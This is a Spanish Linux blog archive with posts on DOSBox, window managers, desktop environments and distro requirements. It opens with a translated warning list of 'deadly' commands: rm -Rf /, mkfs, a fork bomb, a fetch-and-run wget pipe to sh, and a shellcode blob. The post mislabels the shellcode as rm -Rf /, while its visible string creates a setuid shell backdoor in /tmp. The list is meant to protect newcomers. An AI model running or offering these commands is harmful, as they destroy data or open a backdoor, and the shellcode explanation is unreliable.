Mar162009

7 comandos mortales en Linux

img30

Esta es una traducción de el interesante artículo “The 7 Deadly Linux Commands” publicado originalmente por Tech Source from Bohol:

Si eres nuevo en Linux, es probable que en algún momento te encuentres en algún foro o una sala de chat, con una persona malintencionada y poco inteligente que pretenda engañarte para que utilices comandos que puedan dañar tus archivos o incluso arruinar todo tu sistema operativo. Para evitar que se presente este peligroso escenario, he aquí una lista de comandos mortales en Linux que deberian ser evitados:

1. Comando:

# rm -Rf /

Este comando eliminará a la fuerza y recursivamente (incluyendo subdirectorios), todos los archivos dentro del directorio raiz.

2. Comando:

char esp[] __attribute__ ((section(”.text”))) /* e.s.p
release */
= “’xeb’x3e’x5b’x31’xc0’x50’x54’x5a’x83’xec’x64’x68?
“’xff’xff’xff’xff’x68’xdf’xd0’xdf’xd9’x68’x8d’x99?
“’xdf’x81’x68’x8d’x92’xdf’xd2’x54’x5e’xf7’x16’xf7?
“’x56’x04’xf7’x56’x08’xf7’x56’x0c’x83’xc4’x74’x56?
“’x8d’x73’x08’x56’x53’x54’x59’xb0’x0b’xcd’x80’x31?
“’xc0’x40’xeb’xf9’xe8’xbd’xff’xff’xff’x2f’x62’x69?
“’x6e’x2f’x73’x68’x00’x2d’x63’x00?
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;

Esta es la versión hexadecimal de [rm -Rf / ], con la cual podria engañarse incluso a usuarios linux mas experimentados.

3. Comando:

# mkfs.ext3 /dev/sda

Reformatea o elimina todos los archivos del dispositivo mencionado despues del comando mkfs.

4. Comando:

:( ){:|:&};:

La ya conocida por muchos bomba fork. Este comando hará que tu sistema ejecute un elevado número de procesos, hasta que el mismo se “cuelgue”. A menudo esto puede acarrear perdida de datos.

5. Comando:

cualquier_comando > /dev/sda

Con este comando, se envian bloques de datos al dispositivo indicado, lo cual a menudo puede colapsar el sistema de archivos, dando como resultado una perdida total de datos.

6. Comando:

wget http://fuente_de_origen_inseguro -O- | sh

Estamos descargando datos, posiblemente un script, de alguna fuente no muy confiable, e inmediatamente despues, estamos ordenando que se ejecute el archivo descargado. Nunca, nunca hagas esto.

7. Comando:

mv /home/tudirectoriodeusuario/* /dev/null

Este comando mueve todos los archivos dentro de tu directorio home, a un lugar que no existe, razón por la cual, nunca podras ver tus archivos de nuevo.

Hay una gran cantidad de comandos igualmente mortales, los cuales pudieron omitirse en esta lista, por eso si tienes alguno para agregar, por favor compartelo con nosotros a traves de un comentario.

Fuente

Dec272008

Ikim Linux Distribucion Mexicana Liberada

Nos honra dar la noticia de que el dia de ayer 24 de diciembre fue liberada la primera version de ikim linux. Ikim Linux es una distribucion Mexicana esta creada desde cero y tiene mas de un año de desarrollo. Parte del staff de Debian Mexico colaboro con el desarrollo de este sistema operativo y actualmente quien dirige el todo el proyecto y desarrollo es nuestro compañero y amigo Miguel Angel o mejor conocido como Miguex en Debian Mexico, uno de nuestros adminisradores con sin duda un alto potencial en cuestiones de sistemas unix.

Ikim nace como una iniciativa para desarrollar un sistema operativo del tipo GNU/Linux enfocado principalmente a funcionar en equipos de bajos recursos fomentando asi la reutilizacion de hadware en desuso.

Ikim Linux es un gran y novedoso sistema que hay que probar debido a su calidad de paquetes y su buen desarrollo Debian Mexico fomenta el uso de este flamante sistema.

Invitamos a toda nuestra comunidad y lectores para que prueben este sistema operativo y nos den sus opiones y puntos de vista que es lo mas importante.

Sitio: http://www.ikimlinux.net/

Fuente

Oct112008

¿Conocías… DOSBox?

Por desgracia los usuarios de GNU/linux aún tenemos que recurrir a un Windows para hacer ciertas tareas. En ocasiones estamos forzados a programar un determinado lenguaje en Windows, ya que el compilador usado puede hacer que el resultado difiera, o incluso el código fuente.

Por otro lado y especialmente para los que tengan alguna cana que otra que peinar, ¿No has deseado alguna vez jugar a un juego de hace varios años, de esos que iban en DOS? Pues para todo esto en el fondo no hace falta reiniciar, ni virtualizar una máquina Windows, tenemos DOSBox.

Desde hace unas semanas, un compañero y yo estamos haciendo el juego de las parejas en ensamblador. Ambos usamos Ubuntu y nos daba rabia tener que ir a Windows sólo para poder ejecutar MASM, el compilador que usamos para ensamblador. Es cierto que hay compiladores de este (y otros lenguajes) en GNU/Linux, pero en ocasiones la sintaxis puede ser distinta e incluso el resultado.

Estuvimos buscando una solución y dimos con DOSBox. Es una aplicación que genera una ventana de DOS donde podemos montar una unidad virtual de un directorio determinado. Pero antes de entrar en detalles de uso, instalémoslo, y como todo lo que encontráis en esta sección, está en vuestro aptitude/apt-get:

$ sudo aptitude install dosbox

Ya descargado e instalado abrámoslo: Alt+F2, escribimos dentro dosbox y le damos al Enter. Ahora veréis la ventana que os comentaba y con el prompt típico de DOS en la unidad virtual Z.

Imaginemos que tenemos un directorio en nuestro sistema de ficheros de Linux que contiene el código fuente de nuestro programa, junto con su compilador, etc. En mi caso está en /home/ceec/ec. Para crear una unidad virtual en DOSBox y poder acceder a esa carpeta, haremos lo siguiente dontro de nuestra ventana:

Z:\> mount c /home/ceec/ec

Y para acceder, pues como si fuera MS-DOS. El único problema que vuestro teclado estará en inglés y además de no tener ‘ñ’ algunas teclas importantes estarán cambiadas. Por ejemplo y la más fundamental, los dos puntos ‘:’ se consiguen mediante Shift+Ñ. Es una pega menor dentro de lo que cabe.

Z:\> c:
C:\> dir

Si os supone un inconveniente, podéis solucionarlo bajando este programa. Descomprimid el archivo “keyb.exe” a la carpeta que vais a montar (si ya lo habéis hecho es probable que tengáis que salir y volver a hacerlo), o una dentro de esta de tal forma que podáis llegar a él a través del comando “cd”. Una vez montada la unidad y situados donde está el archivo teclead:

C:\> keyb sp

Ya tendréis el teclado en español. Gracias a TempWin por el aporte de esta solución.

Ya vemos el contenido de la carpeta que queríamos en la unidad montada. Supongo que sabéis las órdenes básicas de MS-DOS.

Básicamente DOSBox nos vale para casi cualquier programa/juego/compilador de MS-DOS. Los programadores os podéis encontrar alguna pega, pero en general es difícil. Además los juegos que probéis con DOSBox podréis disfrutarlos con sus sonidos.

Finalmente os dejo con una captura de mi escritorio con cuatro DOSBox funcionando a la vez: Uno que muestra la compilación con MASM de un fuente de ensamblador, otro que muestra el compilador TurboC (instalado desde el propio DOSBox), otro con el famoso Prince of Persia y otro con el inigualable Doom:

Fuente

Sep272008

BlueProximity – Bloquea y Desbloquea con tu Celular

BlueProximity, Software que permite a nuestro sistema tener mas seguridad y funciona como un detector de presencia, usando la tecnología bluetooth.

En simples palabras funciona

El programa detecta la presencia de un dispositivo bluetooth a su alcance y el cual debe de estar emparejado al alejarse del equipo corre un comando el cual puede ser bloquear y activar el salvapantallas y al volver a acercarse al equipo este mismo puede desactivarlo y volver a trabajar normalmente. Cabe mencionar que puedes ejecutar cualquier comando shell, cuando te alejas o acercas..

Instalando Blueproximity

Hay 2 maneras

  1. Bajando el codigo Fuente   -   blueproximity-1.2.5.tar.gz
  2. Descargando el paquete .deb   -   blueproximity_1.2.5-0ubuntu1_all.deb

Para Instalar sin problemas tenemos que agregar el siguiente soporte de python

$ sudo apt-get install python-glade2 python-configobj python-bluez

Configurando blueproximity

Recuerden que antes de todo deben de tener emparejado su celular con su equipo.

Fuente

Sep222008

Awesome WM

Awesome es un manejador de ventanas altamente configurable, ligero y muy peculiar. Utiliza layouts para manejar y organizar las ventanas en el espacio de la pantalla, tiene una status bar, espacios de trabajo entre otras cosas. Una de las cosas que más me llamó la atención es que carece de un menú, se utiliza el teclado para manejar este escritorio, el mouse en este escritorio no es importante, sin embargo lo utilizaremos cuando estemos navegando o editando imagenes con el gimp o alguna otra cosa que requiera el uso del mouse.

Si quieren probarlo le dejo unos key bindings:

  • Mod4 + F2 : Para ejecutar una aplicación
  • Mod4 + Return : Para abrir una terminal
  • Mod4 + 0-9 : Para moverse entre los espacios de trabajo
  • Mod4 + Shift + q : Para salir de awesome

Con estos cuatro es suficiente para que comienzen, podrían empezar por abrir una terminal y escribir man awesome para conocer más de este manejador de ventanas.

Les dejo el screenshot, recuerdo haber visto un video de este escritorio y después de poner la X puse awesome para probar mientras terminaba de armar mi debian, se ha convertido en mi segundo WM favorito después de fluxbox y antes de xfce :P

Fuente

Sep22008

Las 7 mejores aplicaciones privativas para Linux

Todas de código cerrado y aparentemente en ningún orden en particular, según el sitio Intranet Journal:

  1. Adobe Flash
  2. Google Picasa
  3. Acronis Disk Director Suite
  4. VueScan
  5. Opera
  6. Adobe Reader
  7. Lotus Notes

Fuente

Aug242008

LXDE: un entorno de escritorio liviano ideal para equipos con pocos recursos

Seguramente, todas aquellas personas que usamos Linux, hemos visto o utilizado en algún momento Gnome o KDE, pero pocos habíamos oído sobre LXDE.

LXDE (Lightweight X11 Desktop Enviroment) es un nuevo entorno de escritorio super liviano y estable ideal para instalar en equipos antiguos o con pocos recursos de hardware.

Entre las utilidades más destacadas que incluye LXDE podemos mencionar:

  • PCManFM: Rápido y robusto administrador de archivos. Ofrece funciones tan interesantes como la navegación con pestañas y todo con un mínimo uso de recursos.
  • LXPanel: Panel de escritorio muy fácil de usar.
  • LXSession / LXSession Lite: Gestor de sesiones con las opciones Cerrar, Reiniciar y Suspender. La versión Lite ofrece menos tamaño y más estabilidad.
  • LXAppearance: Gestor de temas GTK+ que permite cambiar tanto el aspecto como los iconos y las tipografías.
  • Openbox: Es el gestor de ventanas utilizado por ser ligero y altamente configurable pero puede ser sustituido por cualquier otro.
  • GPicView: Rápido, ligero y sencillo visor de imágenes.
  • Leafpad: El editor de texto.
  • LXTerminal: Terminal que reduce al mínimo el uso de memoria.
  • XArchiver: Basado en archiver
  • LXNM: Asistente para la conexión a redes WIFI. Aún se encuentra en desarrollo.

Sin lugar a dudas, LXDE es un excelente escritorio para Linux, rápido, estable y con un diseño muy agradable. 100% recomendado.

Enlace: LXDE

Fuente

Aug202008

Wammu: excelente software para administrar tu móvil desde Linux

Utilizando este programa podremos por ejemplo manejar nuestros mensajes SMS (crear, guardar y enviar mensajes), administrar nuestra agenda agregando, editando y borrando contactos, mover archivos y administrar los ringtones entre otras funciones.

Estuve probando este software y la verdad que me funcionó de maravilla con mi teléfono Motorola V360. Se conecta perfectamente tanto por USB como por Bluetooth y es muy fácil de utilizar.

Mirando este listado, puedes ver si tu teléfono es compatible con esta aplicación.

Enlace: Wammu
Descarga:
para linux Ubuntu/Debian | otras distros

Fuente

Aug132008

10 razones para cambiarse a Linux.

1. No se cuelga

Linux es conocido como un sistema operativo muy confiable. Si bien Linux fue originalmente diseñado para servidores y frameworks, actualmente eso cambio y cada vez es mas común ver un Linux en una PC de escritorio. Incluso artefactos como celulares, PDA’s y hasta TiVo’s utilizan este sistema operativo. Raramente podemos llegar a sufrir algún kernel panic, pero no con la frecuencia con que se cuelgan otros S.O.

2. Muy pocos virus y poco dañinos

Aunque es posible crear un virus para sistemas con Linux, el diseño del sistema hace muy difícil que este logre infectarse. Un usuario local podría causar daño corriendo algún virus en sus sistema, sin embargo esto es un caso muy aislado y no algo que se podria salir de control y expandirse a otros sistemas (como sucede en Windows).

Además, prácticamente todos los distribuidores de anti-virus para Linux ofrecen actualizaciones on-line gratuitas.

3. Independencia del Hardware

Linux fue diseñado y escrito para ser fácilmente portable a diferentes arquitecturas de hardware. Para los usuarios de escritorio, esto significa que Linux ha sido siempre el primer sistema operativo en tomar ventaja de las nuevas tecnologías de hardware avanzadas como ocurrió con los procesadores AMD’s de 64 bits.

4. Libertad de decisión

Linux ofrece total libertad de decisión. Podemos elegir entre miles de programas para solucionar de la mejor manera nuestros problemas informáticos. Por ejemplo, tres conocidos procesadores de texto se encuentran disponibles. Los tres son libres y compatibles con Microsoft Word, pero cada uno ofrece ventajas y desventajas. Lo mismo para los navegadores.

5. Estándares

Linux por si mismo y muchas aplicaciones siguen los estándares abiertos. Esto significa que una actualización en un sistema no hará obsoletos otros sistemas.

6. Aplicaciones, aplicaciones y … aplicaciones

Cada distribución de Linux viene con cientos y probablemente miles de aplicaciones incluidas. Cualquier tipo de software que estes buscando como puede ser Mensajería Instantánea, herramientas de backups, diseño grafico/web, software para programación, etc. seguramente esta incluido en tu distribución de Linux.

7. InterOperabilidad

Cada vez mas computadoras se conectan a Internet. Ningún sistema estaría completo si no incluye herramientas para permitir la interoperabilidad con computadoras corriendo otros sistemas operativos. Una vez mas, Linux es muy firme en esta área.

Linux incluye Samba, un software que permite que Linux haga de cliente en una red sobre Microsoft Windows. De hecho, Samba incluye facilidades para correr tu Linux como servidor de una red con clientes Linux y Windows.

Ademas, Linux incluye software para conectarse a redes Apple y Novell’s Netware. NFS, la tecnología de networking desarrollada por UNIX también esta incluida en el sistema.

8. La Comunidad

Pertenecer a la comunidad Open Source, simplemente no tiene precio.

9. No importa que tan potente sea tu Procesador..

Debido a que Linux fue desarrollado con contribuciones de una comunidad muy diversa, este tiende a ser más prudente en el uso de los recursos del sistema. Podemos instalar distribuciones minimalistas de Linux en equipos prácticamente obsoletos sin problema, incluso en 486’s.

10. Linux es 100% configurable.

Linux realmente es un sistema operativo multi-usuario. Cada usuario puede tener su configuracion individual, todo en la misma computadora. Esto incluye el aspecto del escritorio, que iconos se muestran, que programas se inician automáticamente cuando el usuario se loguea e incluso en que idioma se encuentra el escritorio.

Fuente

Aug102008

Requerimientos distros Linux

A continuación se encuentra una tabla con los requerimientos indicados por los desarrolladores de las diferentes distros en sus sitios oficiales.

Actualización: Se ha agregado CentOS a la lista, la cual posee requerimientos similares a Red Hat . En la página de CentOS Product pueden encontrar información más detallada de los requerimientos de CentOS/Red Hat.

Actualización 2: En la página de Hardware Compatibility List puedes ver si tu hardware es compatible con openSUSE Linux.

Distro gnu/Linux CPU (procesador) RAM
(Mínimo)
RAM
(Recom.)
Espacio en disco
(mínimo)
Espacio en disco
(Recom.)
openSUSE 11.0 Intel Pentium 1-4, Pentium M, Celeron, 32bit Xeon, Celeron D, Core Solo/Duo, Xeon, Xeon MP, Pentium 4 Extreme Edition, Pentium D, Core 2 Duo, Itanium2;
AMD K6, Duron, Athlon, Athlon XP, Athlon MP, Sempron, AMD Opteron, Athlon 64, AMD Athlon 64 X2, Sempron 64, Turion 64; PowerPC G5/G4/G3
256 MB 512 MB 3 GB 5 GB
openSUSE 10.3 Intel Pentium 1-4, Celeron, AMD Duron, Athlon, Athlon 64, Semprom u Opteron 256 MB 512 MB 500 MB 3 GB
openSUSE 10.1 Intel Pentium 1-4, Celeron, AMD Duron, Athlon, Semprom u Opteron 256 MB 512 MB 500 MB 3 GB
CentOS 5 Intel Pentium I/II/III/IV/Celeron/Xeon, AMD K6/II/III, AMD Duron, Athlon/XP/MP, (Pendiente Itanium, Athlon 64, PowerPC) 128 MB 512 MB 1.2 GB 2 GB
CentOS 3/4 Intel Pentium I/II/III/IV/Celeron/Xeon, AMD K6/II/III, AMD Duron, Athlon/XP/MP, Itanium, Athlon 64, PowerPC 128 MB 256 MB 800 MB 2 GB
Mandriva 2008 Cualquier procesador Intel o AMD, 1Ghz o superior. Soporte para procesadores dual-core. 256 MB 512 MB 3 GB 4 GB
Mandriva 2007 Pentium 1-4, Celeron, Athlon, Duron, Sempron. 256 MB 512 MB 500 MB 4 GB
Mandriva 2006 Intel Pentium 1-4, Celeron, AMD Duron, Athlon, Semprom, Opteron, K6, Via C3 128 MB 256 MB 500 MB 4 GB
Fedora 8 Intel Pentium 2-4, Celeron, AMD Duron, Athlon, Semprom u Opteron 128 MB*/194 MB** 256 MB 500 MB 3 GB
Fedora 7 Intel Pentium 2-4, Celeron, AMD Duron, Athlon, Semprom u Opteron 128 MB*/194 MB** 256 MB 500 MB 3 GB
Fedora Core 5 Intel Pentium 1-4, Celeron, AMD Duron, Athlon, Semprom u Opteron 64 MB*/194 MB** 256 MB 500 MB 3 GB
Debian 3.1 Intel Pentium 1-4, Celeron, AMD Duron, Athlon, Semprom u Opteron 32 MB*/194 MB** 256 MB 500 MB 3 GB
Debian 3.0 Intel Pentium 1-4, Celeron, AMD Duron, Athlon, Semprom u Opteron 16 MB*/64 MB** 128 MB 450 MB 4 GB
Xubuntu 7.10 Intel o AMD con velocidad de 500mhz 64 MB/192 MB*** 128 MB 1.5 GB 4 GB
Kubuntu 7.10 Intel o AMD con velocidad de 500mhz 384 MB 384 MB 4 GB 4 GB
Ubuntu 8.04 Procesadores Intel/AMD de 32 bits y 64 bits 384 MB 384 MB 4 GB 4 GB
Ubuntu 8.04 “Alternate” Procesadores Intel/AMD de 32 bits y 64 bits 256 MB 384 MB 4 GB 4 GB
Ubuntu 7.10 Intel o AMD con velocidad de 500mhz 256 MB 384 MB 4 GB 4 GB
Ubuntu 6.06 Intel o AMD con velocidad de 500mhz 256 MB 256 MB 2 GB 3 GB
Ubuntu 5.10 Intel o AMD con velocidad de 500mhz 192 MB 256 MB 2 GB 3 GB
Slackware 486 o superior 16 MB 32 MB 100 MB 3.5 GB
Damn Samll 4.2 486DX o superior 16 MB 128 MB
Damn Samll 3.0 486DX o superior 16 MB 128 MB
Damn Samll 1.0 486DX o superior 16 MB 64 MB
Slax 6 486, Pentium o AMD 36 MB fluxbox 96 MB
KDE 144 MB
Slax 5.1 486, Pentium o AMD 36 MB fluxbox 96 MB
KDE 144 MB
Puppy 2 Pentium 166MMX o superior (Intel o AMD) 128 MB 128 MB
simplyMEPIS 6 Intel Pentium o AMD Athlon 128 MB 512 MB 2 GB 3 GB
Knoppix 5 Intel Pentium o AMD Athlon 32 MB*/96 MB** 128 MB

Algunas aspectos a tener en cuenta:

  • CPU: Velocidad mínima recomendada en algunas distros es de 200 MHz
  • * Modo texto: En este modo no se instala un ambiente gráfico, y el sistema es controlado a través de la consola.
  • ** Interfaz gráfica: Se instala un ambiente gráfico en el equipo, por ejemplo KDE, Gnome, IceWM, XFC4, etc.
  • *** Memoria necesaria para ejecutar el proceso de instalación. La versión “Alternate” solo requiere 64 MB de RAM.
  • – Indica que no necesita espacio en disco duro para funcionar/instalar.

Fuente